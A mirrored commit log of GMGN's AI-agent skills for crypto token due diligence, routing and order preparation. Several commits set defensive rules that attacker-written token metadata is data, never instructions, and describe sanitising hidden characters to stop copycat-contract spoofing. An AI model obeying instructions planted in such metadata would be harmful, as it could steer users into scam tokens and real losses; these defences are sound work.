mirror of
https://github.com/GMGNAI/gmgn-skills.git
synced 2026-11-02 07:46:11 +00:00
a0ba4c6a2d30c9dbf7a2dbed822effeccd246d2d
362
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 chenjunfengandClaude Opus 5
|
a0ba4c6a2d |
fix(token-buy): frame gmgn-swap as this skill's exit, not its rival
gmgn-swap's own description says "Use when user asks to buy, sell, or swap a token" with no qualifier, and carries a [FINANCIAL EXECUTION] label. This skill answered that by asserting a plain buy request "is MINE by default", which is a claim about precedence and gives a reader nothing to check. Replace the assertion with the two facts that actually decide it. First, the two skills are not after the same outcome: gmgn-swap signs and submits, this skill holds no private key and places no order, so a vetted buy ends AT gmgn-swap by design. Second, gmgn-swap cannot start from a name either — its --output-token takes a contract address and the only names it resolves are the SOL/BNB/ETH/USDC currencies — so a request naming a token has to arrive here whichever skill is asked first. Then name what genuinely belongs to gmgn-swap instead of gesturing at it: an explicit skip of the pre-buy check, and everything this skill does not do at all — selling, percentage sells, limit orders, stop loss, take profit, trailing orders, multi-wallet batch trading, order status, gas-price lookups. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
79b8aa471e |
fix(token-buy): hand a bare address with no amount to gmgn-contract-dd
The description claimed gmgn-contract-dd "only look[s] up an address and return[s] no verdict", which is false — it returns a 0-100 composite capped by GMGN's own rug label — and it contradicted this skill's own body, which already calls that skill for the safety verdict and defers to it on disagreement. It also claimed the bare phrase 能不能买, which gmgn-contract-dd claims verbatim in its own description and its neighbouring-skills table. Both skills can serve a bare address, so the phrase alone cannot route. Split the trigger by whether a buy is being prepared instead: a NAME or symbol to resolve, or an AMOUNT to size, is this skill — neither of which gmgn-contract-dd can accept, since it has no search step and no amount parameter. A bare address with neither is a verdict ask, and taking it would hand the user an order card he never asked for. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
33e7e62836 |
fix(skills): defer the safety verdict to gmgn-contract-dd, and refuse to
guess a contract when `market search` is unavailable Two changes, both driven by running the skill for real rather than only measuring routing. 1. The safety verdict now names `gmgn-contract-dd` as the owner. This skill and `gmgn-contract-dd` were computing two parallel safety verdicts on the same contract. Step 2 now states that once step 1 has resolved the one right contract, the 0-100 composite is `gmgn-contract-dd`'s job — its deductions are finer and each one names the field it read — and that its score and red flags are taken as this step's result, with its verdict winning any disagreement. The local gates are kept as an explicitly-labelled fallback rather than deleted, because a live run shows the hand-off does not fire: two real queries, Bash restricted to `gmgn-cli`, and `gmgn-contract-dd` was invoked in neither. That matches the earlier arm-Z result (a hand-off written into a skill body, 20 cases, 0 invocations). So the fallback is the path that actually executes today; deleting the local gates would have removed the safety verdict without connecting the replacement. The fallback thresholds are unchanged, and the order card must say the verdict was computed locally without `gmgn-contract-dd` review. 2. A hard stop when `gmgn-cli market search` is missing. The released CLI has no `market search` — that command is added by this PR's `aa0e7fd`. On a machine with the released CLI the live run showed the model improvise: `market search` failed, and it moved on to `market hot-searches --limit 500`, `market trending`, `market trenches` to find the token by name. Those are popularity and gain rankings, not a name index, so resolving a name through them lands on whatever is being pumped — which is exactly the copycat this skill exists to rule out. Step 1 now stops on `unknown command 'search'`, names the three commands that must not be substituted, and tells the user to upgrade the CLI or supply the address directly. Routing unchanged by all of the above: 16/16 on the 16 plain-buy cases (11/11 recall, 100% precision) and 18/20 on the 20 due-diligence cases (8/10 recall, 0 false positives), measured on the real installed state. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
c3d0035f90 |
docs(skills): state the name-resolution exclusivity in the description
The description implied exclusivity by describing what the siblings cannot do; it never said it directly, so the router had to compose two clauses to reach it. States it in the first sentence instead. Measured neutral, not an improvement: on the real installed state (12 skills + the routing table) the arm with this clause scores exactly what the arm without it scores — 16/16 on the 16 plain-buy cases (11/11 recall, 100% precision) and 17/20 on the 20 due-diligence cases (7/7 on the runnable positives, 0 false positives). Kept for the reader, not for the router. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
91349504e0 |
fix(routing): make a plain buy request default to gmgn-token-buy
Measured on the novice phrasing the skill actually targets — a plain
"我想买 200u 的 PENGU" with no due-diligence and no skip-the-checks
wording. Four arms, 16 cases (11 positives / 5 negatives), one live
`claude -p` session per case:
arm recall precision score
user's machine today (no CLAUDE.md) 3/11 27% 100% 8/16
+ the 11-line routing table 8/11 73% 100% 13/16
repo skills + the 11-line table 11/11 100% 92% 15/16
+ these 5 lines 11/11 100% 100% 16/16
Three changes:
- CLAUDE.md: the `gmgn-swap` registry row claimed `"buy this token"`
unconditionally. The earlier fix only narrowed the quick-route table,
not the registry, so a plain buy request still had a competing claim.
- CLAUDE.md: one quick-route row making `gmgn-token-buy` the explicit
DEFAULT for any plain buy request. The failure mode being fixed is
silence, not theft — every miss in the 8/11 arm was "no skill fired".
- SKILL.md description: lead with the plain phrasings, and state that a
plain buy request is this skill's by default rather than framing the
boundary defensively around what it hands to gmgn-swap.
Also adds a hard boundary for sells, limit orders and order-status
queries, which fixes the one false positive in the 15/16 arm
("帮我挂个 BONK 的限价单" bounced from gmgn-swap into this skill).
Negatives hold in every arm: "直接买 200u 的 BONK，不用检查了" routes to
gmgn-swap, never here — an explicit skip-the-checks instruction must not
be intercepted.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
04dadf6fa9 |
fix(routing): register the 5 unregistered skills and split the buy-intent route
The routing table listed only 7 of the repo's 12 skills. gmgn-contract-dd,
gmgn-cooking, gmgn-holder-analysis, gmgn-wallet-analysis and gmgn-token-buy
were absent, so an unregistered skill effectively did not exist to the router.
Three routes also sent buy-side asks somewhere that cannot answer them:
- "is this token safe" / "check this token" went to gmgn-token, which
returns raw fields and no verdict. Split into three rows: a token name or
symbol with buy intent goes to gmgn-token-buy (the only skill that
resolves a name to the one right contract and sizes the order); a bare
address wanting a score goes to gmgn-contract-dd; raw fields for an
address already in hand stay with gmgn-token.
- "buy TOKEN" went straight to gmgn-swap, bypassing due diligence. Narrowed
to the skip-the-checks case; a plain "buy TOKEN" is gmgn-token-buy.
Measured on a 20-case routing eval (10 positives) with `claude -p`, first
Skill call recorded, 12 skills installed:
routing table unchanged recall 1/10 and 3/10 over two runs
routing table with this change recall 7/10, reproduced exactly twice
Precision stayed 100% with zero false positives in every run. The 3 remaining
misses are eval cases with no token name, a placeholder address, and an
unsupported chain — none of them resolvable by routing.
Description-level fixes were tried first and measured dead: narrowing
gmgn-token's description, adding a runtime hand-off to gmgn-token's body, and
rewriting gmgn-token-buy's own description each scored 0/10.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
5a221cb259 |
feat(skills): add gmgn-token-buy — buy-side due diligence from a name
Covers the request shape no existing skill can serve: the user names a
token and wants to know whether to buy it, and for how much. Every other
token skill takes a contract address as input, so none of them can start
from "搜一下 PENGU 能不能买" or "帮我买 200u 的 XX".
The skill resolves the name to the one correct contract among its
copycats, runs three hard gates (24h volume / pool depth / security
audit), sizes slippage and gas for the stated amount, and emits an order
card. It never holds a private key and never submits a transaction: after
the user confirms in-conversation, the parameters go to gmgn-swap. That
confirmation is required even when the user has said "don't ask, just
buy" — it is a real spend of real funds.
All data access goes through gmgn-cli, so the skill reads, stores and
transmits no credentials, and it inherits the output sanitiser that
src/sanitize.ts applies in printResult. What the sanitiser does not cover
— identity confusion and gate-softening prose in attacker-written token
metadata — the skill handles in its own section: metadata is data and
never an instruction, a "sanitized N field(s)" notice is itself a risk
signal that belongs in the order card, an official-looking name never
skips contract locking, and a contract address is only ever read from the
address field, never from prose.
Verifying the rules against the live API corrected five of them, each of
which would have misjudged a blue chip:
- pool.base_reserve_value can be "0" on a fully liquid token (BONK's
meteora_dlmm pool reports base "0" while holding 14.7B tokens), so
min(base, quote) scored a 996k-holder token at $0 depth. The gate now
falls back to pool.liquidity / 2.
- pool.liquidity is twice ONE side and which side is unpredictable:
PEPE/SHIB/BONK/PENGU/BRETT are 2 x quote, CAKE is 2 x base.
- pool is not necessarily the deepest pool — BONK's
biggest_pool_address differs from pool.pool_address — so depth is a
lower bound, and volume far above depth means "there are other
pools", not wash trading.
- creation_timestamp and created_at can be 0 (real BONK returns 0 for
both), which naive arithmetic turns into 56 years of history. Zero
means unknown; skip the age bonus instead of crediting it.
- Solana's *_prio_fee is a placeholder 1 while BSC's is legitimately 0,
and a tier is not reconstructible from suggest_base_fee + prio (BSC
high is 561M wei against a 120M base fee). The tier field itself is
the authoritative all-in price; only *_prio_fee_mixed is real.
Routing was measured with all 12 skills installed: precision is 100% (no
false trigger in 10 negatives), but recall is low and two full
description rewrites moved it only within run-to-run noise. The
attribution is stable — gmgn-token takes 4-5 of the misses every run,
because its own description ends with "or wants due diligence before
buying", which is this skill's whole job stated in 429 characters. That
overlap is structural rather than cosmetic and gmgn-token is deliberately
left untouched here; see the PR description.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
0f48a31a9d |
docs: register the skills the tables were missing, and gmgn-token-buy
The two Readme tables and the marketplace description had drifted behind the repo: both tables listed 8 skills and the marketplace blurb said "9 GMGN skills", while skills/ actually shipped 11. gmgn-contract-dd, gmgn-holder-analysis and gmgn-wallet-analysis were installed but undiscoverable from the docs. Rather than bump a stale count by one, complete both tables and the blurb to the full set, including the gmgn-token-buy skill added in this branch. Each new row is placed next to the skill it reads like, so the tables still group by subject: contract-dd and holder-analysis after gmgn-token, wallet-analysis after gmgn-portfolio, and token-buy immediately before gmgn-swap, which is what it hands its order card to. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfeng
|
016535ffcf |
feat(market): implement the documented market search command
`skills/gmgn-market/SKILL.md` has documented `market search` in full — the
capability table, the rate-limit table, parameters, response fields and usage
examples — but no implementation ever landed: `/v1/market/search` appears
nowhere in `src/`, and `gmgn-cli market --help` does not list the command. Any
agent following the skill doc hits a hard failure.
This adds the command behind the documented contract:
- `-q, --query` (required), `--chain`, `--launchpad-platform` (repeatable,
max 50), `--is-og`, `--is-launched`, `--order-by weight`, `--raw`.
- `--chain` is shape-checked rather than matched against the 7-chain core
allowlist, because search accepts any chain the platform has enabled
(tron / monad / megaeth / xlayer / hyperevm) and a stale local list would
reject valid searches.
- `--query` is stripped of C0/C1 control, zero-width and bidi-override
characters before the documented 1-100 length check, and the cleaned string
is what gets sent. Length is counted in code points so emoji tickers are not
over-counted. Without this, `pe<ZWSP>pe` is a different search term than
`pepe` and can be used to point a caller at a copycat contract.
One upstream deviation is worth calling out: the endpoint does not understand
`chain=all`. It answers with `{"coins":[],"wallets":[]}` rather than an error,
which an agent reads as "no such token" — strictly worse than failing. Since
the skill doc promises `all` works, the CLI accepts that spelling and searches
all chains by omitting the filter, warning on stderr so the substitution is
visible. This follows the existing `parseDuration` precedent of correcting a
known-ambiguous input loudly instead of rejecting it.
Verified against the live API: `-q pepe --chain eth` returns fields identical
to `token info` for the same token (`liquidity`, `volume_24h`, `swaps_1h/24h`,
`holder_count` all byte-for-byte equal), bare-contract-address lookup resolves
the chain in one call, and an address on an unsupported chain returns an empty
result set.
|
||
|
GMGN.AIandGitHub
|
2eaf2b9d50 |
Merge pull request #218 from Edwardchennnn/feat/dev-score-upstream
feat(dev-score): score a launcher on CONDUCT and POWER, and say when to buy |
||
|
chenjunfengandClaude Opus 5
|
9b90a3eaea |
docs(dev-score): fix the report's shape with a Display Templates section
Removing the script's layout engine also removed the only thing keeping the report a stable shape. Two runs of the same JSON came out with different heading levels, different table/bullet choices and bold on nearly every clause, and one leaked the fullwidth dollar sign — a convention that exists only to protect this file's own text from positional-argument substitution — into user-facing output. Display Templates fixes the shape without fixing the wording: nine sections in a fixed order, each with its block type (which sections are tables, which are prose), sections 1-5 and 9 always present, 6-8 conditional on their data being there, no reordering, no merging, no tenth section. Plus the formatting rules that were being decided per run: plain ascii dollar sign with thousands separators, one decimal on percentages, no emoji, no box drawing, no column padding, and bold restricted to the verdict number, the band, and the four labels of the action section. Section names are given in English so they are translated into the user's language rather than printed as-is, so the file stays English-only. The content checklist above it said "order, headings and phrasing are yours", which now contradicts this section: it is reworded to own what must be *said* while Display Templates owns *where it goes*, and its bullets are reordered to match the section order. This is an instructional constraint, not a mechanical one — the script prints no report, so nothing enforces the shape at runtime. That is the intended trade of keeping output format out of the calculation code. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
9b6e7023da |
refactor(dev-score): split the skill into a slim SKILL.md, a calc script and references
SKILL.md was a single 1,854-line file carrying the routing, the whole 1,432-line inline Python, the scoring rationale and a 78-column layout engine with 142 hardcoded zh/en string pairs. All of it loaded into context on every invocation. Now: - SKILL.md (95 lines) — routing, how to run, and what the answer must contain as a checklist, not a template. Pure English: the trigger phrases no longer name a language, and the model translates the concepts itself. - dev_score.py — fetch and calculation only. Emits one JSON object on stdout and nothing else; progress notes go to stderr. The layout engine and every zh/en string pair are gone, so the output format is not fixed by the script. - references/scoring.md — the model: gates, severity, the thin-record shrink, tiers, caps, verdict bands, and why each is shaped that way. - references/fields.md — every JSON key emitted, every confirmed API field, the chain probe, rate limits, and the data caveats. - references/glossary.md — only the trader slang that has no literal English equivalent, plus the tier and band renderings. Scoring is unchanged. Verified old vs new across 8 mock scenarios (empty index, empty-but-trading, factory, implausible peak, bot-scale, hostile input, both factory-gate boundaries, LP drain): identical totals, conduct, power, tiers and term breakdowns, and matching not-scored reasons. Prose exits became reason codes (index_empty / not_a_person / peak_implausible / never_launched) and the flagship note became a status code. safe() is kept as input sanitisation, now also applied to token addresses and to severity_by_token keys, so an attacker-chosen symbol still cannot forge a line. Truncate first, sanitise second — slicing a sanitised value strips its fence. Per-invocation context drops from 151,566 to 9,652 bytes; references are read on demand. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
f03d44ea44 |
docs(gmgn-dev-score): name every concept in English, map the zh report labels
The file's prose, headings and script comments carried Chinese concept names (信誉 / 实力 / 综合 / 割率 / 狠度 / 抽水倍数 / 代表作 …), which made the rules readable only to a Chinese reader even though the routing and the English report are fully supported. Every concept is now named in English, taken from the script's own `_(zh, en)` pairs so the document and the report agree: CONDUCT / POWER / TOTAL, dump / open-dump / dump rate, severity, pull multiple, 1st sell, the curve, flagship, walk-away & CTO rate, self-snipe rate, book quality, unaccounted exit, untradeable rate, and the five tiers systematic / frequent / occasional / unproven / measured clean. Report lines quoted as evidence inside comments are translated with them, so a comment explaining a past defect no longer requires reading the Chinese output to follow. Adds a `### Terms` section: English concept, the exact zh wording the report prints, and a one-line definition — 17 concepts, the 5 tiers, and the 9 section headers. Terms that translate one-to-one (peak, drawdown, survival rate, graduation rate, holders, market cap) are stated to be English-only and are deliberately not listed, so the table stays short enough to read. Also fixes three pass artifacts it uncovered: `flagshipdumped coins` in two gate-table rows and one comment, and the doubled `dump (dump)` / `severity (severity)` labels. What is deliberately still Chinese: the frontmatter trigger phrases and the routing-table phrasings (they are the literal user input the router matches — translating them breaks Chinese routing), the `_()` zh strings that ARE the Chinese report, the CJK punctuation the line-breaker demonstrates in its own comments, and the zh half of the new glossary. The routing boundary lines now lead in English with the Chinese phrasing in parentheses. Verified: description folds with no space injected inside a Chinese phrase and all 41 trigger phrases intact (22 zh / 19 en); script compiles in both languages; 8 mock scenarios x 2 languages all rc=0, width <= 78, brackets balanced, no CJK outside 「」 in English output; no ascii dollar-before-digit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
fbf533fc9f |
fix(gmgn-dev-score): English-context correctness and bracket balance
Four defects found while checking whether the skill routes correctly for a question asked in English or another language. Routing itself was fine -- the description's spine, reasoning and DO-NOT-USE logic are English, and 信誉/实力 carry inline English glosses -- but: - Four hardcoded strings leaked 信誉/综合/抽水 into the English report while its header reads TOTAL/CONDUCT/POWER. Now CONDUCT/TOTAL/pull. - LANG had no selection rule, only the comment "'zh' or 'en'", with 'zh' listed first. State it explicitly: LANG follows the language the user asked in, not the chain and not the model's default. The report is the whole deliverable, so handing an English trader a Chinese one makes it unreadable. - Trigger phrases were lopsided: 22 zh vs 5 en positive, and every one of the 9 DO-NOT-USE phrases was Chinese. The real English-context risk is over-triggering on copy-trade and profitability questions that belong to gmgn-wallet-score, and nothing guarded against it. Now 41 phrases, 19 English, 10 of them on the negative side, plus a note on the "how is this dev's reputation" (profile) vs "dev score" (decision) boundary. Also folds a pre-existing Chinese phrase that YAML's >- had split across lines, inserting a space inside it. - Language-independent: `to = safe(addr, 64)` printed as `m['to'][:8]` sliced off the closing 」 that safe() adds, so an attacker-supplied to_address rendered as 「判为割 100… with no visible end and the report's own words appeared to continue inside the quoted name -- exactly the confusion the quoting exists to prevent. Truncate first, sanitise second, via a separate to_disp; `to` stays full so the fund_from_address comparison still matches. Real addresses display unchanged; a hostile value shows as ?. Verified: script compiles under both languages; 6 mock scenarios x 2 languages all rc=0 with width <=78 and balanced brackets (hostile 4/4); zero CJK in English output; description folds with no space inserted inside any Chinese phrase; no ascii dollar-sign-before-digit hazards. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
9b20187d74 |
feat(dev-score): score a launcher on 信誉 and 实力, and say when to buy
Adds gmgn-dev-score, a risk gate you consult before buying a launch, as a single self-contained SKILL.md. The skill answers one question — 我要不要买他下一个盘 — and keeps two things apart that must never cancel each other out: 信誉 (will he dump on you, built only from what he did with his own hands in his own coins) and 实力 (has he ever built anything, built only from what the market did with those coins). They combine asymmetrically: 综合 = 信誉 + a bonus 实力 can earn, and the 割率 gate caps 综合 before the bonus lands, so a big coin can never buy a dumper a passing score. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
GMGN.AI
|
7a87b8f09d | 1.6.0 v1.6.0 | ||
|
GMGN.AIandGitHub
|
041a5a3ca9 |
Merge pull request #216 from dylanzhong662-max/fix/close-dispatcher-on-cli-error
fix(cli): close HTTP dispatcher before exiting on errors |
||
|
zhongsongzhi-cmyk
|
25f3452722 | fix(cli): close HTTP dispatcher before exiting on errors | ||
|
|
267ff6ba86 |
feat(wallet-analysis): rebuild the dossier around what a copier actually decides (#215)
The skill printed accurate numbers a reader could not act on. This reworks what it says and when, and fixes the defects found running it against ten live wallets and thirteen fixtures. ## The report Two layers. A decision card a newcomer can stop reading after, then the evidence behind every claim on it. `--brief` prints the card alone. The card is withheld entirely when a gate went unmeasured, because it has nowhere to show a ⚪ and one with a tick missing reads as a complete verdict. The card opens with one narrative sentence -- how long, by what method, for how much -- then the 7-day window as a backtest that proves the trader, then the verdict. It used to open "if you had followed it with $1,000 seven days ago", a completed counterfactual that reads as an opportunity already missed. A caliber grade leads the H1 so a reader can rank the trader on sight. It is computed from the track record only; reachability is a separate question, and merging the two is what produces a copy score that contradicts its own labels. A verdict that says you cannot get its fills no longer prints HOW TO FOLLOW. The size cap and copy window stay, reframed as the bar that rules the reader out rather than instructions for doing what the verdict forbids. Follow-ups are three questions, one target each, pinned on a trigger phrase from the skill that answers them. No skill names. English is the default; pass `zh` for Chinese. The translation table moved into analyze.py, so the skill is SKILL.md and analyze.py -- lang/zh.json is deleted. ## Correctness - No third-party label vetoes on its own. `wash_trader` is checked against the profit attribution, `is_honeypot` against the position's own sell count. Both false-positived on one real wallet and together produced a 🔴 on $459K of genuine realized profit. The corroboration is silent: the report states the measurement and never names the label. - Nine derived ratios gained sample guards. A top-3 share over three winners is 100% by arithmetic, and it drove both a card line and the engine label. - Concentration over nine open positions no longer vetoes a 103-token record. - Positions-in-profit and realized win rate are labelled separately; they count different things and were sharing one parenthetical. - An unmeasured gate is never rendered as a pass, nor masked by another gate's failure. - Remedies name their actual cause: a rejected signature is not a missing key, a rate limit is not an auth problem, and a wallet that barely trades cannot be fixed by configuration. - The verdict prints for anonymous wallets, which it had silently stopped doing. - Call order puts the gate-critical set inside one rate-limit bucket, so the verdict is decidable before `activity` is requested. ## Verification Ten live BSC wallets and thirteen deterministic fixtures with snapshots in both languages, asserting that every dossier prints a verdict, that no English output contains CJK, and that the markdown is structurally sound. The net lives in git history rather than the tree; SKILL.md carries the commands that restore it. Branched from current main, so gmgn-contract-dd and every other skill are untouched. Co-authored-by: chenjunfeng <chenjunfeng@gmgn.ai> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
GMGN.AIandGitHub
|
7331bfc375 |
Merge pull request #210 from Edwardchennnn/feat/contract-dd-skill
feat(contract-dd): add contract due-diligence scoring skill |
||
|
chenjunfengandClaude Opus 5
|
c4d612d2b3 |
docs(contract-dd): fold the routing split into this file and drop the CLAUDE.md PR
#213 fixed the collision by editing CLAUDE.md's Quick Decision Guide. Keeping the library consistent matters more than closing that collision from outside: no other skill in skills/ reaches into a project doc, and this skill should not be the first. So the split now lives where the rest of the repo puts it — in the skill file — and #213 is closed rather than merged. The existing hand-off table only covered the outbound direction (user wants the explanation, not the verdict). It now covers the inbound direction too, which is where the collision actually was: - **One number vs the raw fields.** "check this token", "research this token", "what's the liquidity", "who holds this" are gmgn-token; 打个分, 尽调, 这个币安全吗, 能不能买, rug check, score this contract are this skill. The description already competes at selection time; this states the same boundary for a reader who has already loaded the file. - **A bare address with no question** is a verdict ask: score here, offer the fields after. Step 0 still resolves token vs wallet first, and the wallet branch now names gmgn-portfolio alongside gmgn-wallet-analysis, since raw holdings / P&L / activity are the portfolio skill's, not the dossier's. Still one file, still no changes outside skills/gmgn-contract-dd/. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
d5987fb226 |
docs(contract-dd): contest the phrases CLAUDE.md routes elsewhere, from inside the description
Routing happens before a skill's body is ever read, so nothing in this file can
override CLAUDE.md's row sending "is this token safe" and any bare token address
to gmgn-token. The description is the only surface that competes at selection
time, so it now does more of the work.
Three changes, all inside the existing 1024-char budget (907 after, 970 before):
- **Added the English trigger `is this token safe`.** The description carried the
Chinese 这个币安全吗 but not its English twin, which is the exact phrase the
routing table hands to gmgn-token.
- **Added an explicit priority hint** — "prefer this over gmgn-token whenever the
ask is a verdict rather than a field dump" — following the pattern
gmgn-wallet-analysis already uses to disambiguate itself.
- **Named the rug-label cap**, which the description predated and never mentioned
even though Step 5B is now what stops a labelled rug reading as clean.
Compressed the internals wording ("the three exceptions where absence does move
the number are named explicitly") to pay for it — that sentence describes
mechanics a router does not select on.
This narrows the collision; it does not close it. CLAUDE.md's row is project
guidance and still names gmgn-token for the same input, which is what #213 fixes.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
f23cb57752 |
fix(contract-dd): a listing row without a rug_ratio key is not rug_ratio 0
Found by running the demo against a bsc token: Step 5B reported `rug_ratio 0.000 via trenches/completed → no cap`, and the field was not in the row at all. Measured over 840 listing rows on 2026-08-28: **`rug_ratio` is absent from the row entirely on 323 of them**, and which rows lack it is chain-dependent — 176 of 180 bsc trenches rows and 147 of 180 base trenches rows carry no such key, while sol trenches and all three trending listings always do. Reading a missing key as 0.0 reports "measured clean" for a label that was never supplied, on the majority of bsc and base launches. That is this skill's own headline failure mode, committed inside the step added to catch it. The step now stops at the first row that actually carries `rug_ratio` rather than the first row that matches the address, so a bare trenches row falls through to trending. Measured recovery on bsc: of the 176 trenches rows missing the key, 26 are also in trending and get their label there; the remaining 150 end genuinely unavailable. "Listed but no row carried the key" and "not listed at all" are different facts, so Step 8 must print which one it was, and neither may be written as `rug_ratio 0`. The age is still taken from the first matching row whether or not that row carried the label — `created_timestamp` was never absent in the sample. Both filter pipelines now print `rug_ratio=ABSENT` instead of an empty-looking `None`, and the fall-through condition covers it. Verified end to end on a bsc token whose trenches row lacks the key: `trenches/completed rug_ratio=ABSENT age=0.6h` then `trending rug_ratio=0 age=0.6h`. Invariant sweep: 14/14 pass. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
7f9acf56d3 |
fix(contract-dd): remove a stranded paragraph that revoked an active scoring row, and correct the self-check totals
Both defects came from review feedback and both are mine — incomplete patches whose verification checked the strings I knew I had changed instead of checking the invariants. **A paragraph told the implementer not to apply a deduction the table applies.** When `vol_ratio < 0.20` was promoted to a scored row, the replacement only covered the first paragraph of the old reported-not-scored argument. The second paragraph survived and still read "compute `vol_ratio` … and **do not deduct on it**", plus "**That test has not been run**" — describing the rate-limit interruption that the completed three-batch lift test had already superseded four commits earlier. An implementer copying the scoring table would have shipped the −18; one reading the prose would have skipped it. Deleted, and the row is now stated as ACTIVE at that spot. Acting on the reviewer's wider point rather than just the instance: a note under the Step 5 table now says every row in every scoring table is active and this skill has no candidate, disabled or "pending" rules anywhere — a rule that failed measurement was deleted outright rather than parked, which is what happened to `sell_volume_24h / buy_volume_24h` and to `vol_ratio`'s own 0.20–0.40 tier. The tables are safe to implement on their own. **The coverage self-check named the wrong totals.** It said "does not equal 22 or 24" while the inventory it checks is 23 on `sol` and 25 on the EVM chains — the numbers were updated in the "Inventory total" sentence when the price section gained `vol_ratio` and missed four lines below. Since executed + skipped + held-out always sums to the inventory total by construction, the check would have mis-fired on every correct run, which is the worst possible failure for a line whose only job is to catch a miscount. Corrected, and the identity is now spelled out in both directions. To stop repeating the class of mistake, verification is now an invariant sweep rather than a string grep: no prose may revoke a row the tables mark active (excluding availability rules, which legitimately say "do not deduct" on struct defaults), every inventory-total statement must say 23/25, the Step 5 table row count must equal the inventory's Price count, all caps must be 59 or 79, every Step reference must resolve, and the file-hygiene checks. All fourteen pass. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
b4749a15f8 |
feat(contract-dd): report token age, the one open item that did affect the output
Checked the deliberately-unfixed list for actual user impact. One item did have some, and it has a free fix. **A few-hours-old launch could read "relatively clean · evidence sufficient" with nothing on the line saying it was young.** Measured: a pump.fun launch scored 89.4 with no failed check beyond thin liquidity, a small holder count and an 8% drawdown — all true, none of them conveying age. The `len(kline.list)` deduction only reaches tokens under 24 candles, so six hours of history escapes it. `token info` cannot supply the age: `creation_timestamp`, `open_timestamp` and `pool.creation_timestamp` all read 0 there, on USDC as well as on a launch. But the Step 5B listing row already carries it, so it costs no extra call — the filters now extract it alongside `rug_ratio`, and Step 8 prints it next to the grade. The field differs per listing, like the envelope does: `trenches` rows carry `created_timestamp` (with `open_timestamp` at 0 on ungraduated `near_completion` tokens) while `trending` rows carry `open_timestamp` and no `created_timestamp`. Both pipelines were re-run and verified — `trending rug_ratio=1 age=21.7h` on ANTSEM, `trenches/near_completion rug_ratio=0 age=3.6h` on a live launch. Also checked, and no change needed: **`stat.creator_hold_rate` is trustworthy.** It never fired across 25 tokens, which could have been a false pass hiding a holding dev. It is not: on six live launches the rate is non-zero exactly when `stat.creator_token_balance` and `dev.creator_token_balance` are non-zero, and it agrees with the independent `creator_balance_rate` on the trenches row. MERP reads 1.35% and fone2 0.82% — real holdings that sit below the >2% tier. Whether that tier is set too high for bonding-curve launches is a calibration question, not a data bug. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
bbfaefa14f |
docs(contract-dd): cite the repo's own definition of rug_ratio behind Step 5B's bands
The bands were chosen by measurement, but the field's meaning was inferred. It is documented in this repo: src/commands/market.ts describes rug_ratio as a "rug pull risk score (0-1, e.g. 0.3 to exclude rugs)", and the CLI's own --filter-preset safe for market trenches is built on max_rug_ratio: 0.3. docs/workflow-early-project-screening.md already flags > 0.3 and docs/workflow-project-deep-report.md uses > 0.5. So both of Step 5B's cutoffs match thresholds already in use across the project's source and docs, arrived at independently from live measurement. That removes the one input to this step whose semantics I had not verified. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
24c0df5e91 |
fix(contract-dd): Step 5B must filter the listings in the shell, not read them
The step added in the previous commit was a context bomb. Measured 2026-08-28:
`market trenches --chain sol --raw` is **757,598 bytes** and
`market trending --interval 24h --limit 100 --raw` is **233,821 bytes**, against
about 5 KB for `token info` and 15 KB for a 100-candle `kline`. Reading the
trenches payload to find one address costs on the order of 200,000 tokens of
context for a single number — more than the entire rest of the procedure
combined, and enough to blow the window before any scoring happens. `--limit`
does not help: it caps rows per category at 80, and an arbitrary-address lookup
needs the whole listing.
Step 5B now specifies two verified shell pipelines that return one short line —
16 and 11 bytes measured — instead of the payload, and the Sub-commands block
marks both calls as filter-only. Both pipelines were run end to end before being
written down.
Two details that make the difference between working and silently wrong:
- The address must be `export`ed. In `VAR=x cmd | filter` the assignment applies
only to `cmd`, so the filter would not see it.
- The two responses have different shapes — `trenches` is unwrapped with the
bucket names at top level, `trending` keeps the `{"code":…,"data":…}` envelope
with rows at `data.rank` — so the two scripts are not interchangeable. Pointing
the wrong one at either endpoint finds nothing and reports `rug_ratio`
unavailable, which is indistinguishable from an unlisted token: a silent false
negative on exactly the tokens the step exists for.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
77ec2d436e |
feat(contract-dd): read GMGN's own rug label and cap on it (Step 5B)
Closes the failure the verification pass found: on ten tokens carrying
`rug_ratio >= 0.5`, three scored "relatively clean" — ANTSEM at `rug_ratio: 1.00`
scored 92.8 — seven scored "mixed", none reached "high risk", and nine reported
"evidence sufficient". A verdict number that calls a maximum-rug-label token
clean at high confidence is worse than no number.
**There is no address lookup for `rug_ratio`.** Verified absent from
